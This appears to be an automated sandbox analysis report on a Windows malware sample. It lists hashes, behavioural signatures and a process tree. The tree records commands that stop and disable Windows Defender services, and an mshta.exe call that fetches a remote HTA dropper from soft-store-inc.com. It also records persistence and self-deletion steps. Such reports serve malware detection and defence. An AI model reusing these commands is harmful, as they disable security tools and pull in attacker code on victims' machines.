Analysis

  • max time kernel
    150s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-09-2024 01:50

General

  • Target

    df466958538c6b28eb2604b27dfb108c_JaffaCakes118.exe

  • Size

    2.5MB

  • MD5

    df466958538c6b28eb2604b27dfb108c

  • SHA1

    8f5f789f48005010debe839a3b94a17774fafd7e

  • SHA256

    959fc5578657c7e2196670dc09c05689986e699418e30f720884a7ac08837a42

  • SHA512

    e18bc88d07e078afb1f9d7376c6871298b553014460e2fae47852a69f3a85a3f3d326211dbc166c7fa48d880db8cdf3889f65c603c65ae4aa8cc994635c4aec1

  • SSDEEP

    49152:wBCD2WkxAPaUlSTX/FplIQjHa4P+36bJdgIh3pShBz+xkLYAXp+a:wBpWXyUqIN4P+qbJKC38+xkLYAXp+a

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=HVDPCYGS&2=i-s&3=172&4=9200&5=6&6=2&7=919041&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\df466958538c6b28eb2604b27dfb108c_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\df466958538c6b28eb2604b27dfb108c_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1340
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1912
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4084
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1620
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:552
    • C:\Users\Admin\AppData\Roaming\Microsoft\ymndic.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\ymndic.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3252
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4716
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4060
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2400
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1200
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4376
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=HVDPCYGS&2=i-s&3=172&4=9200&5=6&6=2&7=919041&8=1033"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1480
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\DF4669~1.EXE" >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      PID:968

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\ymndic.exe

    Filesize

    2.5MB

    MD5

    df466958538c6b28eb2604b27dfb108c

    SHA1

    8f5f789f48005010debe839a3b94a17774fafd7e

    SHA256

    959fc5578657c7e2196670dc09c05689986e699418e30f720884a7ac08837a42

    SHA512

    e18bc88d07e078afb1f9d7376c6871298b553014460e2fae47852a69f3a85a3f3d326211dbc166c7fa48d880db8cdf3889f65c603c65ae4aa8cc994635c4aec1

  • memory/2444-0-0x0000000000400000-0x00000000008D1000-memory.dmp

    Filesize

    4.8MB

  • memory/2444-1-0x0000000002710000-0x000000000276A000-memory.dmp

    Filesize

    360KB

  • memory/2444-5-0x0000000002690000-0x0000000002691000-memory.dmp

    Filesize

    4KB

  • memory/2444-9-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-8-0x00000000026F0000-0x00000000026F1000-memory.dmp

    Filesize

    4KB

  • memory/2444-7-0x00000000026D0000-0x00000000026D1000-memory.dmp

    Filesize

    4KB

  • memory/2444-6-0x00000000026E0000-0x00000000026E1000-memory.dmp

    Filesize

    4KB

  • memory/2444-4-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

    Filesize

    4KB

  • memory/2444-3-0x0000000002660000-0x0000000002661000-memory.dmp

    Filesize

    4KB

  • memory/2444-2-0x0000000002670000-0x0000000002671000-memory.dmp

    Filesize

    4KB

  • memory/2444-11-0x00000000026B0000-0x00000000026B1000-memory.dmp

    Filesize

    4KB

  • memory/2444-10-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-21-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-20-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-19-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-18-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-17-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-16-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-15-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-14-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-13-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-12-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-23-0x0000000002890000-0x0000000002891000-memory.dmp

    Filesize

    4KB

  • memory/2444-34-0x00000000028E0000-0x00000000028E1000-memory.dmp

    Filesize

    4KB

  • memory/2444-41-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-40-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-38-0x0000000002980000-0x0000000002981000-memory.dmp

    Filesize

    4KB

  • memory/2444-39-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-37-0x0000000002950000-0x0000000002951000-memory.dmp

    Filesize

    4KB

  • memory/2444-36-0x0000000002910000-0x0000000002911000-memory.dmp

    Filesize

    4KB

  • memory/2444-35-0x0000000000400000-0x00000000008D1000-memory.dmp

    Filesize

    4.8MB

  • memory/2444-33-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-32-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-42-0x0000000002710000-0x000000000276A000-memory.dmp

    Filesize

    360KB

  • memory/2444-47-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-46-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-53-0x0000000003700000-0x0000000003702000-memory.dmp

    Filesize

    8KB

  • memory/2444-56-0x0000000000E90000-0x0000000000E91000-memory.dmp

    Filesize

    4KB

  • memory/2444-55-0x0000000000E80000-0x0000000000E81000-memory.dmp

    Filesize

    4KB

  • memory/2444-54-0x00000000036F0000-0x00000000036F2000-memory.dmp

    Filesize

    8KB

  • memory/2444-52-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-51-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-50-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-49-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-48-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-44-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-43-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-45-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-31-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-30-0x0000000002970000-0x0000000002971000-memory.dmp

    Filesize

    4KB

  • memory/2444-29-0x0000000002930000-0x0000000002931000-memory.dmp

    Filesize

    4KB

  • memory/2444-28-0x0000000002940000-0x0000000002941000-memory.dmp

    Filesize

    4KB

  • memory/2444-27-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-26-0x00000000028C0000-0x00000000028C1000-memory.dmp

    Filesize

    4KB

  • memory/2444-25-0x00000000028F0000-0x00000000028F1000-memory.dmp

    Filesize

    4KB

  • memory/2444-24-0x0000000002880000-0x0000000002881000-memory.dmp

    Filesize

    4KB

  • memory/2444-22-0x00000000028A0000-0x00000000028A1000-memory.dmp

    Filesize

    4KB

  • memory/2444-61-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/2444-62-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/2444-64-0x0000000002710000-0x000000000276A000-memory.dmp

    Filesize

    360KB

  • memory/2444-65-0x0000000000400000-0x00000000008D1000-memory.dmp

    Filesize

    4.8MB

  • memory/3252-66-0x0000000000400000-0x00000000008D1000-memory.dmp

    Filesize

    4.8MB